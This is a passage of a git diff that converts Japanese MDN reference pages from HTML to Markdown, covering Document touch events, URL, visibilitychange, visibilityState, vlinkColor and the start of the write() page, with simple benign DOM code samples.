+0,0 @@ ---- -title: 'Document:touchend イベント' -slug: Web/API/Document/touchend_event -tags: - - API - - Event - - Reference - - Touch Events - - TouchEvent - - UI - - UI Events - - UX - - ontouchend - - touch - - touchend - - イベント -translation_of: Web/API/Document/touchend_event ---- -<div>{{APIRef}}</div> - -<p><span class="seoSummary"><code>touchend</code> イベントは、タッチ平面から1つ以上のタッチポイントが取り除かれた場合に発生します。</span></p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Examples" name="Examples">例</h2> - -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> - -<p>{{Compat("api.Document.touchend_event")}}</p> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - <li>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchend_event", "touchend")}}</li> -</ul> diff --git a/files/ja/web/api/document/touchend_event/index.md b/files/ja/web/api/document/touchend_event/index.md new file mode 100644 index 00000000000000..cf0e3993140585 --- /dev/null +++ b/files/ja/web/api/document/touchend_event/index.md @@ -0,0 +1,57 @@ +--- +title: Document:touchend イベント +slug: Web/API/Document/touchend_event +tags: + - API + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - ontouchend + - touch + - touchend + - イベント +translation_of: Web/API/Document/touchend_event +--- +{{APIRef}} + +`touchend` イベントは、タッチ平面から 1 つ以上のタッチポイントが取り除かれた場合に発生します。 + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}} + </td> + </tr> + </tbody> +</table> + +## 例 + +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 + +## ブラウザーの互換性 + +{{Compat("api.Document.touchend_event")}} + +## 関連情報 + +- {{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchend_event", "touchend")}} diff --git a/files/ja/web/api/document/touchmove_event/index.html b/files/ja/web/api/document/touchmove_event/index.html deleted file mode 100644 index b4f9115cdc53c9..00000000000000 --- a/files/ja/web/api/document/touchmove_event/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'Document: touchmove イベント' -slug: Web/API/Document/touchmove_event -tags: - - API - - DOM - - Document - - Event - - Reference - - Touch Events - - TouchEvent - - UI - - UI Events - - UX - - touch - - touchmove - - イベント -translation_of: Web/API/Document/touchmove_event ---- -<div>{{APIRef}}</div> - -<p><span class="seoSummary"><code>touchmove</code> イベントは、タッチ平面に沿って1つ以上のタッチポイントが移動した場合に発生します。</span></p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Examples" name="Examples">例</h2> - -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - </tr> - <tr> - <td>{{SpecName('Touch Events', '#event-touchmove')}}</td> - <td>{{Spec2('Touch Events')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.touchmove_event")}}</p> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{domxref("Element/mousemove_event", "mousemove")}} と {{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchmove_event", "touchmove")}}</li> -</ul> diff --git a/files/ja/web/api/document/touchmove_event/index.md b/files/ja/web/api/document/touchmove_event/index.md new file mode 100644 index 00000000000000..800e1466dd37bc --- /dev/null +++ b/files/ja/web/api/document/touchmove_event/index.md @@ -0,0 +1,65 @@ +--- +title: 'Document: touchmove イベント' +slug: Web/API/Document/touchmove_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - touch + - touchmove + - イベント +translation_of: Web/API/Document/touchmove_event +--- +{{APIRef}} + +`touchmove` イベントは、タッチ平面に沿って 1 つ以上のタッチポイントが移動した場合に発生します。 + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}} + </td> + </tr> + </tbody> +</table> + +## 例 + +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Touch Events', '#event-touchmove')}} | {{Spec2('Touch Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.touchmove_event")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{domxref("Element/mousemove_event", "mousemove")}} と {{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchmove_event", "touchmove")}} diff --git a/files/ja/web/api/document/touchstart_event/index.html b/files/ja/web/api/document/touchstart_event/index.html deleted file mode 100644 index e5a0b83b4d9d9e..00000000000000 --- a/files/ja/web/api/document/touchstart_event/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 'Document: touchstart event' -slug: Web/API/Document/touchstart_event -tags: - - Document - - Event - - Reference - - TouchEvent - - Web - - touchstart - - イベント - - ウェブ -translation_of: Web/API/Document/touchstart_event ---- -<div>{{APIRef}}</div> - -<p><span class="seoSummary"><code>touchstart</code> イベントは、タッチ平面上に1つ以上のタッチポイントが配置されたときに発生します。</span></p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Examples" name="Examples">例</h2> - -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> - -<p>{{Compat("api.Document.touchstart_event")}}</p> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: <code><a href="/ja/docs/Web/API/Element/touchstart_event">touchstart</a></code></li> -</ul> diff --git a/files/ja/web/api/document/touchstart_event/index.md b/files/ja/web/api/document/touchstart_event/index.md new file mode 100644 index 00000000000000..95a0a982769057 --- /dev/null +++ b/files/ja/web/api/document/touchstart_event/index.md @@ -0,0 +1,54 @@ +--- +title: 'Document: touchstart event' +slug: Web/API/Document/touchstart_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchstart + - イベント + - ウェブ +translation_of: Web/API/Document/touchstart_event +--- +{{APIRef}} + +`touchstart` イベントは、タッチ平面上に 1 つ以上のタッチポイントが配置されたときに発生します。 + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}} + </td> + </tr> + </tbody> +</table> + +## 例 + +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 + +## ブラウザーの互換性 + +{{Compat("api.Document.touchstart_event")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}} +- {{domxref("Element")}} を対象としたこのイベント: [`touchstart`](/ja/docs/Web/API/Element/touchstart_event) diff --git a/files/ja/web/api/document/url/index.html b/files/ja/web/api/document/url/index.html deleted file mode 100644 index 9051c6018ca8d3..00000000000000 --- a/files/ja/web/api/document/url/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Document.URL -slug: Web/API/Document/URL -tags: -- API -- DOM -- Document -- Property -- Reference -- プロパティ -- リファレンス -translation_of: Web/API/Document/URL ---- -<div>{{APIRef("DOM")}}</div> - -<p>{{domxref("Document")}} インターフェイスの <code><strong>URL</strong></code> プロパティは読取専用で、文書の位置を文字列で返します。</p> - -<h2 id="Syntax">構文</h2> - -<pre class="brush: js">const <em>url</em> = <em>document</em>.URL -</pre> - -<h2 id="Example">例</h2> - -<h3 id="JavaScript">JavaScript</h3> - -<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><p id="urlText"> - URL:<br/> - <span id="url">URL goes here</span> -</p></pre> - -<h3 id="Result">結果</h3> - -<p>{{EmbedLiveSample("Example", "100%", 100)}}</p> - -<h2 id="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility"">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.URL")}}</p> - -<h2 id="See_also">関連情報</h2> - -<ul> - <li>同じ値を返す {{domxref("document.documentURI")}} プロパティ</li> -</ul> diff --git a/files/ja/web/api/document/url/index.md b/files/ja/web/api/document/url/index.md new file mode 100644 index 00000000000000..18f5c1fac9c3a1 --- /dev/null +++ b/files/ja/web/api/document/url/index.md @@ -0,0 +1,57 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - DOM + - Document + - Property + - Reference + - プロパティ + - リファレンス +translation_of: Web/API/Document/URL +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`URL`** プロパティは読取専用で、文書の位置を文字列で返します。 + +## 構文 + +```js +const url = document.URL +``` + +## 例 + +### JavaScript + +```js +document.getElementById("url").textContent = document.URL; +``` + +### HTML + +```html +<p id="urlText"> + URL:<br/> + <span id="url">URL goes here</span> +</p> +``` + +### 結果 + +{{EmbedLiveSample("Example", "100%", 100)}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | ---------------------------------------------------------------------------------------------- | +| {{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}} | {{Spec2("DOM WHATWG")}} | プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.URL")}} + +## 関連情報 + +- 同じ値を返す {{domxref("document.documentURI")}} プロパティ diff --git a/files/ja/web/api/document/visibilitychange_event/index.html b/files/ja/web/api/document/visibilitychange_event/index.html deleted file mode 100644 index 9cbebfdd7f292b..00000000000000 --- a/files/ja/web/api/document/visibilitychange_event/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: 'Document: visibilitychange イベント' -slug: Web/API/Document/visibilitychange_event -tags: - - API - - Document - - Event - - Reference - - Visibility - - Web - - visibilitychange -translation_of: Web/API/Document/visibilitychange_event ---- -<div>{{APIRef}}</div> - -<p><code>visibilitychange</code> イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>いいえ</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("Event")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Usage_notes" name="Usage_notes">使用上の注意</h2> - -<p>このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。</p> - -<h2 id="Examples" name="Examples">例</h2> - -<p>この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。</p> - -<pre class="brush:js notranslate">document.addEventListener("visibilitychange", function() { - if (document.visibilityState === 'visible') { - backgroundMusic.play(); - } else { - backgroundMusic.pause(); - } -}); -</pre> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td> - <td>{{Spec2('Page Visibility API')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.visibilitychange")}}</p> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - <li><a href="/ja/docs/DOM/Using_the_Page_Visibility_API">Page Visibility API の使用</a></li> - <li>{{domxref("Document.visibilityState")}}</li> -</ul> diff --git a/files/ja/web/api/document/visibilitychange_event/index.md b/files/ja/web/api/document/visibilitychange_event/index.md new file mode 100644 index 00000000000000..e18306828035d1 --- /dev/null +++ b/files/ja/web/api/document/visibilitychange_event/index.md @@ -0,0 +1,72 @@ +--- +title: 'Document: visibilitychange イベント' +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Document + - Event + - Reference + - Visibility + - Web + - visibilitychange +translation_of: Web/API/Document/visibilitychange_event +--- +{{APIRef}} + +`visibilitychange` イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。 + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{domxref("Document.onvisibilitychange", "onvisibilitychange")}} + </td> + </tr> + </tbody> +</table> + +## 使用上の注意 + +このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。 + +## 例 + +この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。 + +```js +document.addEventListener("visibilitychange", function() { + if (document.visibilityState === 'visible') { + backgroundMusic.play(); + } else { + backgroundMusic.pause(); + } +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---- | +| {{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}} | {{Spec2('Page Visibility API')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.visibilitychange")}} + +## 関連情報 + +- [Page Visibility API の使用](/ja/docs/DOM/Using_the_Page_Visibility_API) +- {{domxref("Document.visibilityState")}} diff --git a/files/ja/web/api/document/visibilitystate/index.html b/files/ja/web/api/document/visibilitystate/index.html deleted file mode 100644 index fdf4135082439c..00000000000000 --- a/files/ja/web/api/document/visibilitystate/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Document.visibilityState -slug: Web/API/Document/visibilityState -tags: - - DOM - - Document - - Page Visibility API - - Property - - Read-only - - Reference - - Web -translation_of: Web/API/Document/visibilityState ---- -<p>{{ ApiRef("DOM") }}</p> - -<p><span class="seoSummary"><strong><code>Document.visibilityState</code></strong> 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。</span> 可能な値は次のとおりです。</p> - -<dl> - <dt><code>visible</code></dt> - <dd>ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。</dd> - <dt><code>hidden</code></dt> - <dd>ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。</dd> - <dt><code>prerender</code> {{deprecated_inline}}</dt> - <dd>ページのコンテンツはプリレンダリングされており、ユーザーには表示されません (<code><a href="/ja/docs/Web/API/Document/hidden">document.hidden</a></code> の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。</dd> -</dl> - -<p>このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。</p> - -<p>これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。</p> - -<h2 id="Syntax" name="Syntax">構文</h2> - -<pre class="syntaxbox notranslate">var <var>string</var> = document.visibilityState</pre> - -<h2 id="Examples">Examples</h2> - -<pre class="brush:js; line-numbers language-js notranslate">document.addEventListener("visibilitychange", function() { - console.log( document.visibilityState ); - // 振る舞いを変更します... -})</pre> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}}</td> - <td>{{Spec2('Page Visibility API')}}</td> - <td>初回定義</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.visibilityState")}}</p> diff --git a/files/ja/web/api/document/visibilitystate/index.md b/files/ja/web/api/document/visibilitystate/index.md new file mode 100644 index 00000000000000..d433060c8f441b --- /dev/null +++ b/files/ja/web/api/document/visibilitystate/index.md @@ -0,0 +1,52 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +{{ ApiRef("DOM") }} + +**`Document.visibilityState`** 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。 可能な値は次のとおりです。 + +- `visible` + - : ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。 +- `hidden` + - : ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。 +- `prerender` {{deprecated_inline}} + - : ページのコンテンツはプリレンダリングされており、ユーザーには表示されません ([`document.hidden`](/ja/docs/Web/API/Document/hidden) の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。 + +このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。 + +これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。 + +## 構文 + +``` +var string = document.visibilityState +``` + +## Examples + +```js +document.addEventListener("visibilitychange", function() { + console.log( document.visibilityState ); + // 振る舞いを変更します... +}) +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | -------- | +| {{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}} | {{Spec2('Page Visibility API')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.visibilityState")}} diff --git a/files/ja/web/api/document/vlinkcolor/index.html b/files/ja/web/api/document/vlinkcolor/index.html deleted file mode 100644 index 12686ce4d2b666..00000000000000 --- a/files/ja/web/api/document/vlinkcolor/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Document.vlinkColor -slug: Web/API/Document/vlinkColor -tags: - - API - - Deprecated - - Document - - HTML DOM - - Property - - Reference - - プロパティ - - 非推奨 -translation_of: Web/API/Document/vlinkColor ---- -<div>{{APIRef("DOM")}} {{ Deprecated_header() }}</div> - -<p><code><strong>Document.vlinkColor</strong></code> プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。</p> - -<h2 id="Syntax" name="Syntax">構文</h2> - -<pre class="syntaxbox"><var>color</var> = <var>document</var>.vlinkColor -<var>document</var>.vlinkColor = <var>color</var> -</pre> - -<h3 id="Parameters" name="Parameters">引数</h3> - -<ul> - <li><code>color</code> は、色を表す単語 (<code>red</code> など) または16進値 (<code>#ff0000</code> など) の文字列です。</li> -</ul> - -<h2 id="Notes" name="Notes">メモ</h2> - -<ul> - <li>Mozilla Firefox ではこのプロパティの初期値は紫 (16進で <code>#551a8b</code>) です。 - - <p> </p> - </li> - <li><code>Document.vlinkColor</code> は <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML では非推奨です</a>。</li> - <li>推奨される代替方法は、 HTML の {{HtmlElement("a")}} 要素において CSS で {{ Cssxref(":visited") }} 擬似クラスの色を設定または取得する方法です (例えば <code>a:visited {color:red;}</code>)。</li> - <li>他の代替方法に <code>document.body.vLink</code> がありますが、これは <a href="http://www.w3.org/TR/html401/struct/global.html#adef-vlink">HTML 4.01 で非推奨</a>となり、 CSS で代替されました。</li> -</ul> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> - -<p>{{Compat("api.Document.vlinkColor")}}</p> diff --git a/files/ja/web/api/document/vlinkcolor/index.md b/files/ja/web/api/document/vlinkcolor/index.md new file mode 100644 index 00000000000000..f4c3c00b032b3e --- /dev/null +++ b/files/ja/web/api/document/vlinkcolor/index.md @@ -0,0 +1,40 @@ +--- +title: Document.vlinkColor +slug: Web/API/Document/vlinkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ + - 非推奨 +translation_of: Web/API/Document/vlinkColor +--- +{{APIRef("DOM")}} {{ Deprecated_header() }} + +**`Document.vlinkColor`** プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。 + +## 構文 + +``` +color = document.vlinkColor +document.vlinkColor = color +``` + +### 引数 + +- `color` は、色を表す単語 (`red` など) または 16 進値 (`#ff0000` など) の文字列です。 + +## メモ + +- Mozilla Firefox ではこのプロパティの初期値は紫 (16 進で `#551a8b`) です。 + +- `Document.vlinkColor` は [DOM Level 2 HTML では非推奨です](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)。 +- 推奨される代替方法は、 HTML の {{HtmlElement("a")}} 要素において CSS で {{ Cssxref(":visited") }} 擬似クラスの色を設定または取得する方法です (例えば `a:visited {color:red;}`)。 +- 他の代替方法に `document.body.vLink` がありますが、これは [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-vlink)となり、 CSS で代替されました。 + +## ブラウザーの互換性 + +{{Compat("api.Document.vlinkColor")}} diff --git a/files/ja/web/api/document/write/index.html b/files/ja/web/api/document/write/index.html deleted file mode 100644 index 0037884ad1f097..00000000000000 --- a/files/ja/web/api/document/write/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Document.write() -slug: Web/API/Document/write -tags: - - API - - DOM - - Document - - Method - - Reference - - write -translation_of: Web/API/Document/write ---- -<div>{{ApiRef("DOM")}}</div> - -<p><strong><code>Document.write()</code></strong> メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。</p> - -<div class="note">注: <code>document.write()</code> は文書の<strong>ストリーム</strong>に書き込みを行うため、閉じられた (読み込み済みの) 文書で <code>document.write()</code> を呼び出すと、自動的に <code>document.open()</code> が呼び出され、<a href="/ja/docs/Web/API/document.open#Notes">文書はクリアされます</a>。</div> - -<h2 id="Syntax" name="Syntax">構文</h2> - -<pre class="brush: js notranslate"><var>document</var>.write(<var>markup</var>); -</pre> - -<h3 id="Parameters" name="Parameters">引数</h3> - -<dl> - <dt><var>markup</var></dt> - <dd>文書に書き込まれるテキストを含む文字列です。</dd> -</dl> - -<h3 id="Example" name="Example">例</h3> - -<pre class="brush: html notranslate"><html> - -<head> - <title>書き込み例</title> - - <script> - function newContent() { - document.open(); - document.write("<h1>新しい内容では、古い内容は削除されます!</h1>"); - document.close(); - } - </script> -</head> - -<body onload="newContent();"> - <p>元の文書コンテンツ。</p> -</body> - -</html> -</pre> - -<p>{{EmbedLiveSample("Syntax")}}</p> - -<h2 id="Notes" name="Notes">注</h2> - -<p>出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 <code>h1</code> 要素は文書中の一つのノードになります。</p> - -<p>{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に <code>document.open()</code> の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。</p> - -<p><code>document.write()</code> の呼び出しがインラインの HTML の <code><script></code> タグ内で行われた場合、 <code>document.open()</code> は呼び出されません。次に例を示します。</p> - -<pre class="brush: html notranslate"><script> - document.write("<h1>Main title</h1>") -</script> -</pre> - -<div class="note"><strong>注</strong>: <code>document.write()</code> および {{domxref("document.writeln")}} は、 <a href="/ja/docs/Archive/Web/Writing_JavaScript_for_HTML">XHTML 文書では動作しません</a> (エラーコンソールに "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が <code>application/xhtml+xml</code> の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a> で確認することができます。</div> - -<div class="note"><strong>注</strong>: <code>document.write</code> は <a href="/ja/docs/Web/HTML/Element/script#attr-defer">deferred</a> または <a href="/ja/docs/Web/HTML/Element/script#attr-async">asynchronous</a> のスクリプト内では無視され、エラーコンソールに "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。</div> - -<div class="note"><strong>注</strong>: Edge のみ、<code>document.write()</code> を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。</div> - -<div class="note"><strong>注</strong>: Chrome 55 からは、キャッシュされていない HTTP の場合、<code>document.write()</code> を通じて挿入された <code><script></code> 要素は実行されなくなります。これが成立するのに必要な条件の一覧については、<a href="https://developers.google.com/web/updates/2016/08/removing-document-write">document.write() に対する介入</a>をご覧ください。</div> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td> - <td>{{Spec2("DOM2 HTML")}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<div>{{Compat("api.Document.write")}}</div> - -<h2 id="See_also" name="See_also">関連情報</h2> - -<ul> - 